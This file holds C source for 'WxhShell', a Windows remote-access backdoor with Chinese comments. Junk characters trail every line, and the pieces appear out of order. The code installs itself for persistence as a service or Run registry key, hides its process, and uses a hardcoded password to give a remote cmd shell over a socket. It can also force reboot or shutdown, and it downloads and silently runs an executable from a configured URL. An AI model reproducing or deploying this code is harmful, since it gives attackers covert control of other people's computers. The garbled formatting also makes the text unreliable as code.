    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [V?HK_~  
    else { lrHN6:x(Y4  
    closesocket(wsh); GNmP_N  
    ExitThread(0); Em Ut/]  
    } 1S(oi  
    break; .yUD\ZGJ u  
    } R6 ej  
  // 获取shell Kk=>"?&  
  case 's': { YG*<jKcX  
    CmdShell(wsh); >#r0k|3J^J  
    closesocket(wsh); {-7ovH?  
    ExitThread(0); `R (N3  
    break; w_`;Mn%p  
  } Tg@G-6u0c  
  // 退出 .Gr"| uII  
  case 'x': { 3nhQ^zqf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); . &}x[~g  
    CloseIt(wsh); ;6 d-+(@  
    break; )N^fSenFBn  
    } c{D<+XM  
  // 离开 ]S?G]/k}  
  case 'q': { F3!6}u\F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7?k3jDK  
    closesocket(wsh); W=S^t_F  
    WSACleanup(); ^o C>,%7  
    exit(1); qrOesSdc  
    break; j3w~2q"r  
        } %<Qv?`B  
  } &=%M("IlD  
  } ;A"i.:ZT  
q2B'R   
  // 提示信息 w H=7pS"s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QrSO%Rm1*  
} h Ks  
  } Wn;%B].I  
'^7Z]K<v  
  return; ||cI~qg  
} :G9d,B7*  
dwvc;f-  
// shell模块句柄 vfc5M6Vm)<  
int CmdShell(SOCKET sock) H 9/m6F  
{ #+" D?  
STARTUPINFO si; "\9 beK:l  
ZeroMemory(&si,sizeof(si)); Wkb>JnPo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1M_6X7PH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [}Rs  
PROCESS_INFORMATION ProcessInfo; .{;RJ:O  
char cmdline[]="cmd"; >PdrLwKS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pkG8g5(w  
  return 0; BB1_EdoG  
} 2^5RQl/  
C)qG<PW.!  
// 自身启动模式 60|m3|0o  
int StartFromService(void) ^N ;TCn  
{ _ !"[Zr  
typedef struct buKkm$@w  
{ A;/,</  
  DWORD ExitStatus; H,/ =<Th;i  
  DWORD PebBaseAddress; `7`` 1TL  
  DWORD AffinityMask; _q-k1$ o$  
  DWORD BasePriority; 4yMi9Ri4H  
  ULONG UniqueProcessId; 5``usn/&Kj  
  ULONG InheritedFromUniqueProcessId; vsA/iH.  
}   PROCESS_BASIC_INFORMATION; Q}lY1LT`  
%AT/g&M&1#  
PROCNTQSIP NtQueryInformationProcess; VD,g3B p  
-yIx:*KI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n ]l3 )u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;L],i<F  
Y?oeP^V'u  
  HANDLE             hProcess; 2I=4l  
  PROCESS_BASIC_INFORMATION pbi; )h(=X&(d  
8-L -W[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /^si(BuC^*  
  if(NULL == hInst ) return 0; 0yUn~'+(Sp  
iy8Ln,4z(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %&'[? LXD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aJs! bx>K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |9m*? 7  
]REF1<)4z  
  if (!NtQueryInformationProcess) return 0; M6Ik'r"M  
yi-)4#YN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "[_gRe*2  
  if(!hProcess) return 0; =jG."o  
)ZZ6 (O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \<} e?Yx%  
gZz5P>^  
  CloseHandle(hProcess); mX @xV*  
*L<<S=g$2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FYg{IKg  
if(hProcess==NULL) return 0; /I`-  
k1D|Cpnp  
HMODULE hMod; VB+_ kR6Zv  
char procName[255]; zP!j {y4w  
unsigned long cbNeeded; dHn,;Vv^6  
R C!~eJG!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $U^ Ms!'L  
V1,4M_Z  
  CloseHandle(hProcess); xiC.M6/  
@&Af [X4s  
if(strstr(procName,"services")) return 1; // 以服务启动 ){tT B  
gHH[QLD=I  
  return 0; // 注册表启动 IV`+B<3  
} )\izL]=!t  
@zsqjm  
// 主模块 _^0UK|[  
int StartWxhshell(LPSTR lpCmdLine) y&F&Z3t  
{ PC?XE8o  
  SOCKET wsl; 2) Q/cH\g  
BOOL val=TRUE; Qyj:!-o  
  int port=0; 0bQ"s*K  
  struct sockaddr_in door; vF{{$)c  
K>2Bz&)  
  if(wscfg.ws_autoins) Install(); %F0.TR!!n  
ge&!GO  
port=atoi(lpCmdLine); 7x$VH5jie#  
Fy^8]u*Fu  
if(port<=0) port=wscfg.ws_port; f F9=zrW  
Is  ( Ji  
  WSADATA data; Ez^wK~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q"GZh.m  
Lnltt86  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9iK%@k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cEPqcy *  
  door.sin_family = AF_INET; 2B=BRVtSs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QyEoWKu;  
  door.sin_port = htons(port); pc](  
+39p5O!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6l(HD([_p  
closesocket(wsl); 0ol*!@?  
return 1; (;nh?"5  
} _s0;mvz'  
X_wPuU%  
  if(listen(wsl,2) == INVALID_SOCKET) { 6oR5q 4  
closesocket(wsl); t "[2^2G  
return 1; F*,RDM'M  
} sH{(=N  
  Wxhshell(wsl); /onZ14  
  WSACleanup(); D;oX*`  
14 hE<u  
return 0; ShU1RQk  
5k<0>6;XH  
} pJ@D}2u(  
Cl!qdh6  
// 以NT服务方式启动 |)YN"nqg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YGCBDH%6  
{ rn-CQ2{?  
DWORD   status = 0; R\lUE,o]<q  
  DWORD   specificError = 0xfffffff; =zwn3L8fL  
yRldPk_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _VLA2#V>   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !='L`.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AbOF/ g)C  
  serviceStatus.dwWin32ExitCode     = 0; k4~2hD<|  
  serviceStatus.dwServiceSpecificExitCode = 0; u_%L~1+'  
  serviceStatus.dwCheckPoint       = 0; G@6F<L~$1  
  serviceStatus.dwWaitHint       = 0; :>m67Zq  
+nQp_a1{9%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n4Q ^   
  if (hServiceStatusHandle==0) return; yH',vC.  
03dmHg.E!E  
status = GetLastError(); &^K,"a{  
  if (status!=NO_ERROR) t`"pn <  
{ c[4I> "w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GNI:k{H@"?  
    serviceStatus.dwCheckPoint       = 0; o+FDkqEN  
    serviceStatus.dwWaitHint       = 0; WKONK;U+7  
    serviceStatus.dwWin32ExitCode     = status; }Gh95HwE  
    serviceStatus.dwServiceSpecificExitCode = specificError; O g!SFg*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X32{y973hT  
    return; %1kIaYZ  
  } )8JM.:,  
78t:ge eX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yo!Y%9  
  serviceStatus.dwCheckPoint       = 0; kuo!}QFL  
  serviceStatus.dwWaitHint       = 0; rc7^~S]5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *L#\#nh7  
} mBg$eiGTB  
;a~ e  
// 处理NT服务事件,比如:启动、停止 ?!$:I8T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }9 I,p$  
{ o9c?)KQ  
switch(fdwControl) G9r~O#=gy  
{ d&t,^Hj  
case SERVICE_CONTROL_STOP: R b=q #  
  serviceStatus.dwWin32ExitCode = 0; k[]2S8K2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ix_&<?8  
  serviceStatus.dwCheckPoint   = 0; ~ qezr\$2  
  serviceStatus.dwWaitHint     = 0; CjUYwAy$k  
  { gH|:=vfYUR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Nlk:f)*-  
  } >AUzsQ  
  return; `z<I<  
case SERVICE_CONTROL_PAUSE: A\)~y{9bQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BKd?%V8:Q  
  break; +W}6o3x~  
case SERVICE_CONTROL_CONTINUE: VqnM>||  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t`E e/L%  
  break; x^)W}p"  
case SERVICE_CONTROL_INTERROGATE: JO&L1<B{v  
  break; K4Hu0  
}; .._UI2MA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V ^hR%*i'  
} i&\ c DQ 3  
..UA*#%1  
// 标准应用程序主函数 I)q"M]~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L=V.@?  
{ WXe]Q bg  
Mk!bmFZOZ  
// 获取操作系统版本 &ZI-#(P  
OsIsNt=GetOsVer(); zAH6SaI$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b r\_  
"WzD+<oL  
  // 从命令行安装 -nDY3$U/  
  if(strpbrk(lpCmdLine,"iI")) Install(); b>L?0p$ej  
r&Qq,koE  
  // 下载执行文件 V3q [ $~9  
if(wscfg.ws_downexe) { tYMPqP,1.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1}3tpO;  
  WinExec(wscfg.ws_filenam,SW_HIDE); `{9bf)vP6  
} gvoYyO#cm  
`zsooA Gt  
if(!OsIsNt) { eR:C?v  
// 如果时win9x,隐藏进程并且设置为注册表启动 W7"UhM  
HideProc(); )w,<XJhg`  
StartWxhshell(lpCmdLine); r>B|JPm  
} :?SD#Vvrh.  
else !TLJk]7uC  
  if(StartFromService()) W}M 3z  
  // 以服务方式启动 cr~.],$Om  
  StartServiceCtrlDispatcher(DispatchTable); U[W &D%'  
else W(Rp@=!C  
  // 普通方式启动 v:]z-zU  
  StartWxhshell(lpCmdLine); S9d Xkd  
KRb'kW  
return 0; q@vqhE4  
} jR>`Xz  
Y]bS=*q  
> Ft)v  
QM@zy  
=========================================== i7%`}t  
B0D  
jGe%'A N\  
qIvnPaYW  
[G' +s  
j%=X ps  
" (h'Bz6K  
vL8Rg} Jh4  
#include <stdio.h> F(|XJN  
#include <string.h> H:cAORLB  
#include <windows.h> %a']TX  
#include <winsock2.h> yf/i)  
#include <winsvc.h> U< <XeSp  
#include <urlmon.h> 8 &3KVd`  
{%c&T S@s  
#pragma comment (lib, "Ws2_32.lib") $N\k*=  
#pragma comment (lib, "urlmon.lib") m~-O}i~)  
c&C*'c-r  
#define MAX_USER   100 // 最大客户端连接数 5&qBG@Hw]  
#define BUF_SOCK   200 // sock buffer KkCsQ~po  
#define KEY_BUFF   255 // 输入 buffer wlgR = l  
izs=5  
#define REBOOT     0   // 重启 ojc.ykP$  
#define SHUTDOWN   1   // 关机 YP>J'{?b*"  
b>Ea_3T/  
#define DEF_PORT   5000 // 监听端口 OAf}\  
[ps4i_  
#define REG_LEN     16   // 注册表键长度 1)!2D?w  
#define SVC_LEN     80   // NT服务名长度 ik1asj1  
<Yg6=e  
// 从dll定义API VxtX%McK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D>0(*O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #HZ W57"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e8S4=W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oxL)Jx\c9A  
[}yPy))A  
// wxhshell配置信息 }46Zfg\T6n  
struct WSCFG { oX7_v_:J\R  
  int ws_port;         // 监听端口 oRZe?h^r#  
  char ws_passstr[REG_LEN]; // 口令 5+yy:#J]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'I$kDM mwh  
  char ws_regname[REG_LEN]; // 注册表键名 \>x1#Vr>#V  
  char ws_svcname[REG_LEN]; // 服务名 aJ}hlM>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oU se~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )!~,xl^j{}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Nxna H!wS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WyRSy-{U(}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H!'4A&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F}=_"IkZ  
udmLHc  
}; n|Ts:>`V  
%xr'96d  
// default Wxhshell configuration _0UE*l$t  
struct WSCFG wscfg={DEF_PORT, =J|jCK[r  
    "xuhuanlingzhe", BS(jC  
    1, \Foo:jON  
    "Wxhshell", m^ Epw4eg  
    "Wxhshell", %7QSBL  
            "WxhShell Service", m_.9 PZ  
    "Wrsky Windows CmdShell Service", L/In~' *-  
    "Please Input Your Password: ", W]XM<# ^^  
  1, 2_ 1RJ  
  "http://www.wrsky.com/wxhshell.exe", "!CVm{7[  
  "Wxhshell.exe" K+"3He  
    }; ;A4j_ 8\[  
:zY;eJKm  
// 消息定义模块 f@[)*([  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s\<UDW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2qojU%fiH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #%w+PL:*O  
char *msg_ws_ext="\n\rExit."; maeQ'Sv_&  
char *msg_ws_end="\n\rQuit."; aRElk&M  
char *msg_ws_boot="\n\rReboot..."; t2Jf+t_B7  
char *msg_ws_poff="\n\rShutdown..."; %!eRR  
char *msg_ws_down="\n\rSave to "; yEk|(6+^  
#RbdQH !  
char *msg_ws_err="\n\rErr!"; mG$N%`aG  
char *msg_ws_ok="\n\rOK!"; l(Dr@LB~  
:!hO9ho  
char ExeFile[MAX_PATH]; R!yh0y}Z  
int nUser = 0; UBJYs{zz  
HANDLE handles[MAX_USER]; W?"l6s  
int OsIsNt; ?XP4kjJ  
D+BiclJ  
SERVICE_STATUS       serviceStatus; -%| ] d ;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;Yv{)@'Bc  
P j,H]  
// 函数声明 y5F"JjQAa  
int Install(void); Hpa6; eT  
int Uninstall(void); w,up`W7,  
int DownloadFile(char *sURL, SOCKET wsh); H\H7a.@nkF  
int Boot(int flag); bRrS d:e  
void HideProc(void); `JY+3d,Ui  
int GetOsVer(void); E)`0(Z:E  
int Wxhshell(SOCKET wsl); Z=Cw7E  
void TalkWithClient(void *cs); w>8kBQ?b  
int CmdShell(SOCKET sock); &-{%G=5~e%  
int StartFromService(void); M$Bb,s  
int StartWxhshell(LPSTR lpCmdLine); .dVV# H  
ITg:OOQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,A $IFE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `"PHhCG+z  
&@'%0s9g  
// 数据结构和表定义 l1|*(%p?X  
SERVICE_TABLE_ENTRY DispatchTable[] = q'a]DJ`  
{ U;TS7A3  
{wscfg.ws_svcname, NTServiceMain}, |vm-(HY!  
{NULL, NULL} jSM`bE+"  
}; OI*ltba?  
*aC[Tv[-P  
// 自我安装 [s`B0V`04  
int Install(void) QlV(D<  
{ bCr W'}:de  
  char svExeFile[MAX_PATH]; )P?Fni}  
  HKEY key; ~k-'  
  strcpy(svExeFile,ExeFile); %rJDpB{  
<bo^uw  
// 如果是win9x系统,修改注册表设为自启动 n#Dy YVb  
if(!OsIsNt) { J[r_ag  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l)o!&]2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1LSJy*yY  
  RegCloseKey(key); xb%Q[V_m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7w" !"W#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vea{o 35!  
  RegCloseKey(key); lR7;{zlSf'  
  return 0; _ Pzgn@D  
    } H! 5Ka#B  
  } 8+dsTX`|S  
} R+0gn/a[G  
else { -^yc<%U  
fZr{x$]N0  
// 如果是NT以上系统,安装为系统服务 a%BC{XX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /3k[3  
if (schSCManager!=0) uL-kihV:-  
{ &=*1[j\  
  SC_HANDLE schService = CreateService =,q/FY:  
  ( [%R?^*]  
  schSCManager, re/u3\S  
  wscfg.ws_svcname, f4*(rX  
  wscfg.ws_svcdisp, @(oY.PeS<z  
  SERVICE_ALL_ACCESS, #<B?+gzFM{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <*z'sUh+}  
  SERVICE_AUTO_START, A^6z.MdYZ  
  SERVICE_ERROR_NORMAL, wBg?-ji3<  
  svExeFile, {d'B._#i  
  NULL, ?lgE9I]  
  NULL, r>|S4O  
  NULL, D</?|;J#/  
  NULL, H7P}=YW".  
  NULL )quQI)Ym  
  ); HJJ)DE7;  
  if (schService!=0) G~.VW48{n  
  { x=a#|]ngG  
  CloseServiceHandle(schService); ^GrSvl}v'  
  CloseServiceHandle(schSCManager); K$D+TI)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [h-NX  
  strcat(svExeFile,wscfg.ws_svcname); E #Ue9J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1|-C(UW>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fKFD>u 0%  
  RegCloseKey(key); 17c`c.yP  
  return 0; ujE~#b}X  
    } sx;/xIU|  
  } |oSt%l Q1  
  CloseServiceHandle(schSCManager); A{B$$7%  
} e 2N F.  
} .t>SbGC  
+h/OQ]`/m  
return 1; Ksh[I,+N\  
} ]j,o!|rx7  
S{bp'9]$y  
// 自我卸载 ;Ccp1a~+  
int Uninstall(void) G7,v:dlK   
{ %rnRy<9  
  HKEY key; YqXN|&  
}j1;0kb?  
if(!OsIsNt) { 4IB`7QJq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 ;vES^  
  RegDeleteValue(key,wscfg.ws_regname); ~2 XGw9`J2  
  RegCloseKey(key); jqj}j2 9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }*%=C!m4R!  
  RegDeleteValue(key,wscfg.ws_regname); >wb*kyO7(#  
  RegCloseKey(key); )v+&l9D  
  return 0; _X<V` , p  
  } 5>CeFy  
} ,K6ODtw.  
} n%;tVa  
else { g(s}R ?  
{Fyw<0 [@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s2QgR37s>  
if (schSCManager!=0) ~Ni-}p  
{ Wt!;Y,1 s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); imwn)]LR  
  if (schService!=0) cdH`#X  
  { -gC%*S5&  
  if(DeleteService(schService)!=0) { H3d|eO4+W  
  CloseServiceHandle(schService); K)`R?CZ:s  
  CloseServiceHandle(schSCManager); =? q&/ cru  
  return 0; <?8cVLW} O  
  } d/3&3>/  
  CloseServiceHandle(schService); \!uf*=d  
  } )PU\|I0|)e  
  CloseServiceHandle(schSCManager); gGA5xkA  
} 6rG7/  
} U:MZN[Cc[  
Ue,eEer  
return 1; 23p.g5hJi  
} #\Q)7pgi.  
"Ya ;&F.'  
// 从指定url下载文件 F/A)2 H_  
int DownloadFile(char *sURL, SOCKET wsh) P??pWzb6HH  
{ E6G;fPd= E  
  HRESULT hr; Sqmjf@o$>  
char seps[]= "/"; j `3IizN2  
char *token; O f-gG~  
char *file; q4"^G:  
char myURL[MAX_PATH]; 98<^!mwF  
char myFILE[MAX_PATH]; c[OQo~m$  
M5`m5qc3  
strcpy(myURL,sURL); /n,a0U/  
  token=strtok(myURL,seps); *x 2u  
  while(token!=NULL) 3+U2oI:I  
  { }gX4dv B  
    file=token; 5/m*Lc+r  
  token=strtok(NULL,seps); FEa%wS{  
  } Mwj7*pxUh  
hiR+cPSF  
GetCurrentDirectory(MAX_PATH,myFILE); l>HB0o  
strcat(myFILE, "\\"); =5%}CbUU)4  
strcat(myFILE, file); s\3ZE11L  
  send(wsh,myFILE,strlen(myFILE),0); P8CIKoKCV  
send(wsh,"...",3,0); <_bGV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =*y{y)B^g  
  if(hr==S_OK) F>@z&a}(  
return 0; i~HS"n  
else mUb2U&6(  
return 1; [vdC$9z,  
D{[i_K  
} %-!:$ 1;  
/h&>tYVio  
// 系统电源模块 ZhoB/TgdL  
int Boot(int flag) OW> >6zM  
{ iqXsD gkr  
  HANDLE hToken; tjm@+xs  
  TOKEN_PRIVILEGES tkp; FW<YN;  
z5[Qh<M  
  if(OsIsNt) { 5M3)7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i2Gh!5]f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H{d/%}7[v  
    tkp.PrivilegeCount = 1; #: ,X^"w3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <lSo7NkR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DB] ]6  
if(flag==REBOOT) { d k|X&)xTJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [vCZD8"Y8  
  return 0; _j_c&  
} :Sk<0VVd7  
else { 3_ =:^Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +n8,=}  
  return 0; ,76nDXy`  
} cC,gd\}M  
  } yLt?XhRlp  
  else { 9>5]y}.{  
if(flag==REBOOT) { E|B1h!!\c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'BEM:1)  
  return 0; YjG:ECj}  
} UFa00t^5  
else { :OY7y`hRG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dw2$#d  
  return 0; &\r_g!Mh  
} Yg`z4 U'6~  
} X@B,w_b  
Tj=g[)+K  
return 1; GwlAEhP  
} cFG%Ew@  
;\+A6(GX{  
// win9x进程隐藏模块 =G<S!qW  
void HideProc(void) aw0xi,Jz  
{ HmEU;UbO-  
|<7nf75c}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zhde1JE  
  if ( hKernel != NULL ) r\{; ~V  
  { &nF7CCF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C  F<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d4-cZw}+  
    FreeLibrary(hKernel);  _$4vk  
  } /E6 Tt  
"{(4  
return; JE+{Vx}  
} gMZ?MG  
4,R1}.?BzJ  
// 获取操作系统版本 7Y'.yn  
int GetOsVer(void) V|dKKb[Lve  
{ j2{ '!  
  OSVERSIONINFO winfo; %OsV(7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BhJ~jV"  
  GetVersionEx(&winfo); YJrZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X?.LA7)CK  
  return 1; FY]z*=  
  else 30/(  
  return 0; %"RgW\s[R  
} qdVExO&  
L~(`zO3f  
// 客户端句柄模块 )u'("  
int Wxhshell(SOCKET wsl) $f<Rj/`&  
{ >@d=\Kyu  
  SOCKET wsh; *gzX=*;x+?  
  struct sockaddr_in client; jCbxI^3A  
  DWORD myID; %7rWebd-  
o%A@ OY  
  while(nUser<MAX_USER) zc-.W2"Hu  
{ J;BG/VI1  
  int nSize=sizeof(client); e c`3Qw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G@QZmuj&KH  
  if(wsh==INVALID_SOCKET) return 1; <)(STo  
xlaBOKa%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wXsA-H/`  
if(handles[nUser]==0) QFf lx  
  closesocket(wsh); # S4{,  
else 21U,!  
  nUser++; 7uRXu>h  
  } F/w!4,'<?5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .Su9fj y%  
'rdg  
  return 0; Nl1v*9_x  
} Jk7[}Jc$  
t1 .6+  
// 关闭 socket wBXgzd%L  
void CloseIt(SOCKET wsh) KArnNmJ9  
{ K]q OLtc  
closesocket(wsh); }3!.e  
nUser--; PV%7 m7=x  
ExitThread(0);  p68) 0  
} n2H2G_-L[  
? <slB>8  
// 客户端请求句柄 e&u HU8k*  
void TalkWithClient(void *cs) %+9Mr ami  
{ 2FS,B\d  
G}\E{VvWh  
  SOCKET wsh=(SOCKET)cs; l$Y7CIH  
  char pwd[SVC_LEN]; %-:6#b z  
  char cmd[KEY_BUFF]; 8P'>%G<m  
char chr[1]; @Tr8.4  
int i,j; vf(\?Js ,  
kqA`d  
  while (nUser < MAX_USER) { `riK[@  
A_@#V)D2  
if(wscfg.ws_passstr) { . \fzK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p]#%e0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /\_ s  
  //ZeroMemory(pwd,KEY_BUFF); fF8g3|p:  
      i=0; :U<`iJwY  
  while(i<SVC_LEN) { 4jrY3gyBX  
,.f GZ4  
  // 设置超时 cQUmcK/,  
  fd_set FdRead; u<\/T&S  
  struct timeval TimeOut; #x&1kHu<  
  FD_ZERO(&FdRead); F 3}cVO2bY  
  FD_SET(wsh,&FdRead); P{)eZINlE  
  TimeOut.tv_sec=8; !T|X/B R  
  TimeOut.tv_usec=0; TP oP%Yj"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 70m}+R(`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l23#"gGb  
K$\]\qG6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VHB5  
  pwd=chr[0]; *B`wQhB%  
  if(chr[0]==0xd || chr[0]==0xa) { g(MeCoCc  
  pwd=0; 6P!M+PO  
  break; mg*[,_3q33  
  } f|_iHY  
  i++; t*^Q`V wQ  
    } +B%ZB9  
;e_n7>'#%  
  // 如果是非法用户,关闭 socket ^'C1VQ%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ; eq^m,oz  
} )}7rM6hv  
>e"CpbZ'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wgdij11e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j#0@%d  
&B7X LO[  
while(1) { uQ{ &x6.1  
0\Qqv7>  
  ZeroMemory(cmd,KEY_BUFF); hn-9l1~!h  
TgVvp0F;  
      // 自动支持客户端 telnet标准   m Fwx},dl  
  j=0; qv=i eU  
  while(j<KEY_BUFF) { QVI4<Rxg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $GYcZN&  
  cmd[j]=chr[0]; ep Eg 6   
  if(chr[0]==0xa || chr[0]==0xd) { W)?B{\  
  cmd[j]=0; $AUC#<*C  
  break; _bn*B$  
  } p^A9iieHp=  
  j++; 4r5?C;g  
    } BYrj#n5  
y}5H<ZcXA  
  // 下载文件 < ppg$;  
  if(strstr(cmd,"http://")) { >c?Z.of  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +EJIYvkFm  
  if(DownloadFile(cmd,wsh)) y'pAhdF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kl_JJX6jPP  
  else DnP>ed"M!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9#iu#?*B  
  }  ">*PH}b  
  else { ub6=^`>h  
kc\^xq~  
    switch(cmd[0]) { iu2{%S)w  
